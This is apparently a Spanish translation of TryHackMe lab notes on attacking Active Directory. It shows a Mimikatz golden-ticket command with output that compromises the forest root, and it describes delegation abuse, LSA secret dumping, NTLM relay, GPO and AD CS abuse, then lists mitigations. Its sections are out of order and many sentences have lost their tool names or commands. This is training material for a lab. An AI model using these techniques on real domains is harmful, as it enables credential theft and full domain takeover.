C:\Tools>mimikatz_trunk\x64\mimikatz.exe

  .####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of Enterprise Admins group> /ptt
User      : Administrator
Domain    : za.tryhackme.loc (ZA)
SID       : S-1-5-21-3885271727-2693558621-2658995185-1001
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3330634377-1326264276-632209373-519 ;
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt
Service   : krbtgt
Lifetime  : 4/30/2022 7:52:51 PM ; 4/27/2032 7:52:51 PM ; 4/27/2032 7:52:51 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ za.tryhackme.loc' successfully submitted for current session

Primero, verificaremos que este ticket funcione para el acceso a THMDC ya que es un ticket válido para el usuario Administrador del dominio secundario:

C:\>dir \\thmdc.za.tryhackme.loc\c$
 Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows
 Volume Serial Number is 1634-22A9

 Directory of \\thmdc.za.tryhackme.loc\c$

01/04/2022  08:47 AM               103 delete-vagrant-user.ps1
04/30/2022  10:24 AM               154 dns_entries.csv
09/15/2018  08:19 AM    <DIR>          PerfLogs
03/21/2020  09:31 PM    <DIR>          Program Files
03/21/2020  09:28 PM    <DIR>          Program Files (x86)
04/27/2022  08:27 AM             1,423 thm-network-setup-dc.ps1
04/25/2022  07:13 PM    <DIR>          tmp
04/27/2022  08:22 AM    <DIR>          Users
04/25/2022  07:11 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
04/27/2022  08:12 PM    <DIR>          Windows
               7 File(s)      2,356,811 bytes
               7 Dir(s)  50,913,189,888 bytes free;

Esto al menos confirma que el Boleto Dorado fue falsificado para acceder al niño DC . Sin embargo, dado que especificamos SID adicionales, ahora también deberíamos tener acceso al DC principal:

C:\>dir \\thmrootdc.tryhackme.loc\c$\
 Volume in drive \\thmrootdc.tryhackme.loc\c$ is Windows
 Volume Serial Number is 1634-22A9

 Directory of \\thmrootdc.tryhackme.loc\c$

01/04/2022  08:47 AM               103 delete-vagrant-user.ps1
09/15/2018  08:19 AM    <DIR>          PerfLogs
03/21/2020  09:31 PM    <DIR>          Program Files
03/21/2020  09:25 PM    <DIR>          Program Files (x86)
04/23/2022  09:21 AM                58 root_dns_entries.csv
04/23/2022  09:22 AM             1,432 thm-network-setup-dc.ps1
04/25/2022  05:50 PM    <DIR>          tmp
04/27/2022  07:54 AM    <DIR>          Users
04/25/2022  05:50 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
04/27/2022  06:29 PM    <DIR>          Windows
               3 File(s)          1,593 bytes
               7 Dir(s)  51,105,730,560 bytes free

¡Esto demuestra que ahora hemos comprometido completamente el dominio principal únicamente al comprometer uno de los dominios secundarios!

Conclusion

Se necesita tiempo para dominar la explotación de AD y las técnicas utilizadas dependerán en gran medida de la configuración de la estructura de AD que se está atacando. Lo más importante que hay que entender es que el proceso es cíclico. En la mayoría de los casos, no podremos ejecutar un único exploit de arranque a raíz que nos dé acceso DA. El mejor enfoque es realizar una explotación que promueva su acceso y luego usar el acceso que se logró para realizar la enumeración nuevamente, buscando rutas de explotación adicionales que puedan ser posibles desde esta nueva posición.

Mitigaciones

La explotación de AD , al igual que la enumeración de AD, es increíblemente difícil de defender. Esto se debe a que lo que puede considerarse una configuración errónea que puede explotarse tiene un argumento comercial real. Sin embargo, podemos hacer un par de cosas para protegernos contra la explotación:

  • Necesitamos asegurarnos de que ninguna configuración rompa nuestro modelo de niveles. Las cuentas de un nivel inferior no deberían tener la capacidad de interactuar con recursos de un nivel superior. Además, las cuentas de un nivel superior nunca deben iniciar sesión en recursos de un nivel inferior.

  • Se debe seguir el principio de privilegio mínimo cuando se realiza la delegación de permisos. Además, la delegación de permisos debe adherirse al modelo de niveles, asegurando que un objeto de niveles inferiores no pueda alterar un objeto de niveles superiores.

  • La firma SMB debe imponerse, no solo habilitarse. Esto evitará intentos de retransmisión de credenciales.

  • Los objetos AD y su configuración no son las únicas vías de explotación. Los servicios de AD, como AD CS, también deben considerarse parte de la superficie de ataque y protegerse.

  • Necesitamos implementar suficientes controles de seguridad para proteger la infraestructura y las cuentas de Nivel 0 en nuestros dominios secundarios, ya que el compromiso de uno de ellos puede comprometer todo el bosque.

Una vez completada nuestra explotación de AD , el siguiente paso es profundizar en nuestras raíces para asegurarnos de que el equipo azul no pueda simplemente purgar nuestro acceso. Esto se tratará en la siguiente sala.

Una cantidad significativa de ACE puede estar mal configurada y los exploits para cada una varían. La ayuda a explicar las ACE enumeradas y cómo pueden explotarse. Sin embargo, veremos un par de los más notables aquí:

Para explotar estas ACE, necesitaremos un método para interactuar con AD para realizar estas solicitudes. Las dos mejores opciones para esto son los cmdlets PowerShell o . Dependiendo de la infracción y de las herramientas de detección del entorno, una opción puede ser más sigilosa. En esta tarea mostraremos ambos.

Sharphound ya se ejecutó y se adjuntó como un archivo de tarea. Inicie Bloodhound en AttackBox o su máquina Kali e ingiera los datos. Sin embargo, puede volver a ejecutar Sharphound usted mismo siguiendo los pasos proporcionados en la . Nota: si lo consigues, Unable to connect to LDAP, verify your credentialsasegúrate de tener el dominio configurado correctamente. Proporcionamos un ZIP de datos de SharpHound como archivo de tareas. En AttackBox, puede encontrar el archivo ZIP en /root/Rooms/ExploitingAD/. Primero, necesitaremos iniciar neo4j:

Hay dos tipos de delegación Kerberos . En la implementación original de la delegación Kerberos, se utilizó la delegación sin restricciones, que es el método menos seguro. En esencia, la delegación sin restricciones no proporciona límites a la delegación. En segundo plano, si un usuario con el indicador "TRUSTED_FOR_DELEGATION" configurado se autentica en un host con la delegación sin restricciones configurada, se genera un ticket de otorgamiento de boletos (TGT) para esa cuenta de usuario y se almacena en la memoria para que pueda usarse más tarde si es necesario. Supongamos que un atacante puede comprometer un host que tiene habilitada la delegación sin restricciones. En ese caso, podrían intentar forzar la autenticación de una cuenta privilegiada en el host, lo que les permitiría interceptar el TGT generado y hacerse pasar por el servicio privilegiado. Si desea ver un ejemplo de la explotación de la delegación sin restricciones, eche un vistazo .

Digamos que tenemos permiso para configurar RBCD para un servicio. Esto significa que tenemos la capacidad de configurar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity para el objeto AD . Podemos completar este atributo con los detalles de una cuenta AD a la que tenemos acceso. Para ahora acceder al servicio, podemos generar un TGT para la cuenta que controlamos, que nos permitirá interactuar con este servicio. Si desea un ejemplo detallado de explotación de RBCD, eche un vistazo .

Si realizara una enumeración posterior a la explotación adecuada de THMWRK1, descubriría que hay un servicio en el host ejecutándose como usuario de svcIIS. Como ahora tenemos acceso administrativo, podemos usarlo para volcar LSASecrets, parte de la sección del Registro de Windows donde se almacenan las credenciales para funciones como los servicios de Windows. Usemos para deshacernos de los secretos:

Ahora que tenemos acceso a la contraseña asociada con la cuenta svcIIS, podemos realizar un ataque de delegación Kerberos . Usaremos una combinación de y . Puede usar otra ventana para Mimikatz, pero asegúrese de salir de Mimikatz después del token::elevatecomando; de lo contrario, los tickets se cargarán en el contexto incorrecto más adelante. Usaremos Kekeo para generar nuestros tickets y luego usaremos Mimikatz para cargar esos tickets en la memoria. Empecemos generando los tickets:

Usaremos para explotar el relé de autenticación. Es un exploit de C# pero ya ha sido compilado y almacenado en el C:\Tools\directorio THMWRK1. Usaremos Spoolsample.exe para obligar a THMSERVER2 a autenticarse con nosotros en nuestro AttackBox y luego de para transmitir el intento de autenticación THMSERVER1. Tenga en cuenta que si está utilizando su propia máquina virtual , deberá asegurarse de tener la versión actualizada de Impacket que admita SMBv2.

Afortunadamente, Meterpreter nos proporciona una función de migración y, dado que ejecutamos como SISTEMA, deberíamos poder migrar a cualquier proceso. Tiene ejecución remota de código en THMSERVER1, utilícelo para obtener un shell Meterpreter. Si necesita un resumen sobre el uso de Meterpreter y Metasploit , Sin embargo, para un resumen rápido, puede utilizar el siguiente comando para generar una carga útil meterpreter de PowerShell :

Este es un ejemplo sencillo de cómo dirigirse a los usuarios de AD . Hay mucho más que se puede hacer. Es esencial incluir la segmentación por usuarios en su metodología de explotación de AD. Para responder las preguntas de esta tarea necesitará Keepass. Se ha instalado en AttackBox para que pueda buscar y ejecutar la aplicación. Si está utilizando su propia máquina virtual,sudo apt install keepassx funcionará en la mayoría de las distribuciones de Linux. O puedes descargarlo desde . También asegúrese de utilizar el downloadcomando meterpreter para descargar la base de datos Keepass en su host. Si está utilizando Kali, asegúrese de que el usuario de Kali sea propietario del archivo de la base de datos antes de abrirlo; de lo contrario, podría bloquear la base de datos y obtener resultados incorrectos.

Para modificar el GPO , debemos acceder a la Administración de políticas de grupo como el usuario de AD que tiene los permisos pertinentes. Podríamos realizar RDP en THMSERVER1 como usuario, pero eso puede expulsar al usuario de su sesión activa, lo que generará sospechas. En su lugar, realizaremos RDP en THMWRK1 con nuestra cuenta de administrador normal o de nivel 2, inyectaremos las credenciales del usuario de AD en la memoria usando el comando runas y abriremos MMC para modificar el GPO. Para obtener un resumen del comando runas, consulte la sala sin embargo, aquí también se proporciona el comando requerido que debe ejecutarse desde una ventana del símbolo del sistema administrativo:

La investigación realizada y publicada como por SpecterOps mostró que era posible explotar plantillas de certificados mal configuradas para escalar privilegios y movimiento lateral. Si desea comprender mejor las configuraciones incorrectas de los certificados y cómo identificarlas, eche un vistazo a .

Esto proporcionará resultados en todas las plantillas configuradas. También podríamos utilizar una herramienta de auditoría de certificados como de Ghostpack . Sin embargo, un enfoque manual nos permite asegurarnos de encontrar todas las posibles configuraciones erróneas. Una plantilla de certificado se considera mal configurada si una combinación de valores de parámetros se vuelve tóxica, lo que permite al solicitante realizar una escalada de privilegios. En nuestro caso, buscamos una plantilla con la siguiente combinación de parámetros venenosos:

Para el primer paso, usaremos . Una versión ya compilada está disponible en el C:\Tools\directorio. Abra una ventana del símbolo del sistema y navegue hasta este directorio. Usaremos el siguiente comando para solicitar el TGT :

Como se analizó en la , un bosque es una colección de uno o más árboles de dominio dentro de una red AD . Los dominios de confianza son un mecanismo para que los usuarios de la red obtengan acceso a otros recursos del dominio. En su mayor parte, los fideicomisos describen cómo se comunican entre sí los dominios dentro de un bosque. En algunos entornos, los fideicomisos se pueden extender a dominios externos e incluso a bosques en algunos casos.

documentación de Bloodhound
AD-RSAT
PowerSploit
sala Enumeración de AD
aquí
aquí
Mimikatz
Kekeo
Mimikatz
SpoolSample
ntlmrelayx.py
Impacket
aquí tiene un módulo sobre su uso.
aquí
Enumeración de AD ;
documento técnico
esta sala
PSPKIAudit
Rubeus
sala Conceptos básicos de AD
20231027045732.png
20231027050031.png
20231027050116.png
20231027052730.png
20231027052745.png
20231027053223.png
20231027053234.png
20231027053322.png
20231027053339.png
20231027053347.png
20231027053400.png
20231027053412.png
20231027053601.png
20231027053615.png
20231027053626.png